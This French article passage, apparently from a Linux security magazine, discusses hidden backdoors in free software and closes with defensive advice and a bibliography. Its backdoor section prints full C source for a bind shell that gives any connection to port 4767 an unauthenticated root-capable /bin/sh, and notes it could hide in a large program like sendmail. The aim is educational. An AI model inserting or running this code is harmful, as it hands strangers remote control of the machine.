Le problème des accès cachés est important, même dans le cas de logiciels libres. Naturellement lorsque l'on dispose des sources d'un programme, il est possible en principe de vérifier tout ce qu'il fait. En réalité, peu de gens regardent véritablement le contenu des archives récupérées sur Internet. Par exemple le petit programme ci-dessous fournit un accès caché complet, bien que sa taille soit suffisamment modeste pour le dissimuler dans une application consistante. Ce programme est une variation autour d'un exemple de mon livre [BLAESS 00] illustrant le mécanisme des pseudo-terminaux. Ce programme n'est pas très lisible car les commentaires ont été supprimés pour le raccourcir. La plupart des vérifications d'erreur ont également été éliminées pour les mêmes raisons. Dès qu'il est exécuté, il ouvre un serveur TCP/IP sur le port mentionné au début du programme (4767 par défaut) sur toutes les interfaces réseau de la machine. Toute connexion demandée sur ce port accèdera automatiquement à un shell sans aucune phase d'authentification !!!

```
  #define _GNU_SOURCE 500
  #include <fcntl.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <termios.h>
  #include <unistd.h>
  #include <netinet/in.h>
  #include <sys/socket.h>

  #define ADRESSE_BACKDOOR  INADDR_ANY
  #define PORT_BACKDOOR     4767

  int
main (void)
{
  int                sock;
  int                sockopt;
  struct sockaddr_in adresse;
  socklen_t          longueur;
  int                sock2;
  int                pty_maitre;
  int                pty_esclave;
  char *             nom_pty;
  struct termios     termios;
  char * args [2] = { "/bin/sh", NULL };
  fd_set             set;
  char               buffer [4096];
  int                n;

  sock = socket (AF_INET, SOCK_STREAM, 0);
  sockopt = 1;
  setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
              & sockopt, sizeof(sockopt));
  memset (& adresse, 0, sizeof (struct
sockaddr));
  adresse . sin_family = AF_INET;
  adresse . sin_addr . s_addr = htonl
                (ADRESSE_BACKDOOR);
  adresse . sin_port = htons (PORT_BACKDOOR);
  if (bind (sock, (struct sockaddr *) & adresse,
                    sizeof (adresse)))
    exit (1);
  listen (sock, 5);
  while (1) {
    longueur = sizeof (struct sockaddr_in);
    if ((sock2 = accept (sock, & adresse,
                     & longueur)) < 0)
      continue;
    if (fork () == 0) break;
    close (sock2);
  }
  close (sock);
  if ((pty_maitre = getpt()) <0) exit (1);
  grantpt  (pty_maitre);
  unlockpt (pty_maitre);
  nom_pty = ptsname (pty_maitre);
  tcgetattr (STDIN_FILENO, & termios);
  if (fork () == 0) {
    /* Fils : exécution d'un shell sur le
       pseudo-TTY esclave */
    close (pty_maitre);
    setsid();
    pty_esclave = open (nom_pty, O_RDWR);
    tcsetattr (pty_esclave, TCSANOW, & termios);
    dup2 (pty_esclave, STDIN_FILENO);
    dup2 (pty_esclave, STDOUT_FILENO);
    dup2 (pty_esclave, STDERR_FILENO);
    execv (args [0], args);
    exit (1);
  }
  /* Père : copie de la socket vers le pseudo-
TTY
     maître et inversement */
  tcgetattr (pty_maitre, & termios);
  cfmakeraw (& termios);
  tcsetattr (pty_maitre, TCSANOW, & termios);
  while (1) {
    FD_ZERO (& set);
    FD_SET (sock2, & set);
    FD_SET (pty_maitre, & set);
    if (select (pty_maitre &lt;
              sock2 ? sock2+1 : pty_maitre+1,
              & set, NULL, NULL, NULL) <0)
      break;
    if (FD_ISSET (sock2, &set)) {
      if ((n = read (sock2, buffer, 4096)) <0)
        break;
      write (pty_maitre, buffer, n);
    }
    if (FD_ISSET (pty_maitre, &set)) {
      if ((n = read (pty_maitre, buffer, 4096))
<0)
        break;
      write (sock2, buffer, n);
    }
  }
  return (0);
}
```

L'insertion d'un tel code dans une application volumineuse (par exemple **`sendmail`**) passerait inaperçue suffisamment longtemps pour permettre des infiltrations pirates. De plus, certains sont passés maîtres dans l'art de dissimuler le fonctionnement d'un morceau de code, comme en témoignent les programmes soumis annuellement au concours de l'IOCCC (*International Obsfucated C Code Contest*) par exemple.

Les accès cachés ne doivent pas être considérés uniquement comme des possibilités théoriques. De tels déboires ont été réellement rencontrés par exemple dans le paquetage *Piranha* de la distribution Red-Hat 6.2 qui acceptait un mot de passe par défaut. De même, le jeu *Quake 2* a été accusé de dissimuler un accès caché permettant l'exécution de commandes à distance.

Les mécanismes d'accès cachés peuvent également se dissimuler sous des apparences tellement complexes qu'ils sont indétectables par le commun des mortels. Un cas typique est celui des systèmes de cryptographie. Par

exemple, le système SE-Linux en cours de développement est une version de Linux dont la sécurité a été renforcée grâce à des patches fournis par la NSA. En dehors des problèmes éthiques posés par l'irruption de cette institution dans le domaine du logiciel libre, certains hésitent à employer les patches pour des raisons pratiques : s'il existe un organisme capable d'insérer volontairement dans un algorithme de cryptographie une faille exploitable mais suffisamment complexe pour rester invisible, c'est bien la NSA. Les développeurs Linux ayant examiné les patches proposés ont déclaré que rien ne leur *paraissait* suspect, mais personne n'a de véritables certitudes, et surtout, peu de gens prétendent avoir le niveau mathématique nécessaire pour découvrir à coup sûr de telles failles.

# Conclusion

Ces quelques observations des programmes nuisibles circulant dans l'environnement Gnu/Linux nous permettent déjà de tirer une première conclusion : le monde des logiciels libres n'est absolument pas à l'abri des virus, vers, chevaux de Troie et autres pestes ! Sans être alarmiste, il convient de rester attentif aux alertes de sécurité concernant les applications courantes, d'autant plus que la connectivité d'une station à Internet est grande. Il est important de prendre dès à présent de bonnes habitudes, mettre à jour les logiciels concernés dès qu'une faille de sécurité est découverte, ne laisser tourner que les services réseau vraiment utiles, ne charger des applications que depuis des sites de référence supposés de confiance, vérifier le plus souvent possible les signatures PGP ou MD5 des paquetages chargés. Les plus sérieux automatiseront, grâce à des scripts par exemple, la vérification des applications installées (voir l'article de Frédéric Raynal dans ce numéro).

Une seconde remarque s'impose : les deux dangers principaux guettant les systèmes Linux dans l'avenir sont d'une part les applications de bureautique qui accepteront d'interpréter aveuglément les macros contenues dans les documents (y compris les courriers électroniques), et d'autre part les virus multi plates-formes qui tout en s'exécutant sous Windows, envahiront les fichiers exécutables se trouvant sur une partition Linux de la même machine. Si le premier problème relève surtout du comportement de l'utilisateur, qui ne devra pas autoriser ses applications bureautiques à se comporter de manière trop laxiste, le second est fondamentalement difficile à résoudre, même pour un administrateur consciencieux. À terme, de puissants détecteurs de virus devront probablement être mis en place sur les stations Linux connectées à Internet ; espérons que de tels projets verront rapidement le jour dans le monde des logiciels libres.

# Bibliographie

Le nombre de documents traitant des virus, chevaux de Troie et autres menaces logicielles est assez important ; il existe beaucoup de textes d'actualité recensant les virus courants, leurs fonctionnements et leurs effets. Naturellement la plupart de ces listes concernent l'environnement Dos/Windows, mais une partie d'entre-elles traite de Linux. Les articles cités ici sont plutôt des classiques étudiant les mécanismes théoriques mis en oeuvre.


[BLAESS 00] Christophe Blaess - "*Programmation système en C sous Linux*", Eyrolles, 2000.

[DEWDNEY 84] A.K. Dewdney - "*Computer recreations*" in *Scientific American*. Articles visibles en versions scannées sur http://www.koth.org/info/sciam/

[EICHIN 89] Mark W. Eichin & Jon A. Rochlis - "*With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988*", MIT Cambridge, 1989. Accessible en ligne sur www.mit.edu/people/eichin/virus/main/html

[GIBSON 01] Steve Gibson - "*The Strange Tale of the Denial of Service Attack Against GRC.COM*", 2001. Disponible sur http://grc.com/dos/grcdos.htm

[KEHOE 92] Brendan P. Kehoe - "*Zen and the Art of the Internet*", 1992. Disponible sur ftp://ftp.lip6.fr/pub/doc/internet/

[LUDWIG 91] Mark A. Ludwig - "*The Little Black Book of Computer Virus*", American Eagle Publications Inc., 1991. Traduit en français sous le titre "*Naissance d'un virus*", Addison-Wesley France, 1993.

[LUDWIG 93] Mark A. Ludwig - "*Computer Viruses, Artificial Life and Evolution*", American Eagle Publications Inc., 1993. Traduit en français sous le titre "*Mutation d'un virus*", Addison-Wesley France, 1994.

[MARSDEN 00] Anton Marsden - "*The rec.games.corewar FAQ*" disponible sur http://homepages.paradise.net.nz/~anton/cw/corewar-faq.html

[MORRIS 85] Robert T. Morris - "*A Weakness in the 4.2BSD Unix TCP/IP Software*", AT&T Bell Laboratories, 1985. Disponible sur http://www.pdos.lcs.mit.edu/~rtm/

[SPAFFORD 88] Eugene H. Spafford - "*The Internet Worm Program: an Analysis*", Purdue University Technical Report CSD-TR-823, 1988. Disponible sur http://www.cerias.purdue.edu/homes/spaf/

[SPAFFORD 91] Eugene H. Spafford - "*The Internet Worm Incident*", Purdue University Technical Report CSD-TR-933, 1991. Disponible sur http://www.cerias.purdue.edu/homes/spaf/

[SPAFFORD 94] Eugene H. Spafford - "*Computer Viruses as Artificial Life*", Journal of Artificial Life, MIT Press, 1994. Disponible sur http://www.cerias.purdue.edu/homes/spaf/

[STOLL 89] Clifford Stoll - "*The Cuckcoo's egg*", Doubleday, 1989. Traduit en français sous le titre "*Le nid du coucou*", Albin Michel, 1989.

[THOMPSON 84] Ken Thompson - "*Reflections on Trusting Trust*", Communication of the ACM vol.27 n°8, August 1984. Réimprimé en 1995 et disponible sur http://www.acm.org/classics/sep95/

**Christophe Blaess**

**<ccb@club-internet.fr>**

**http://perso.club-internet.fr/ccb/**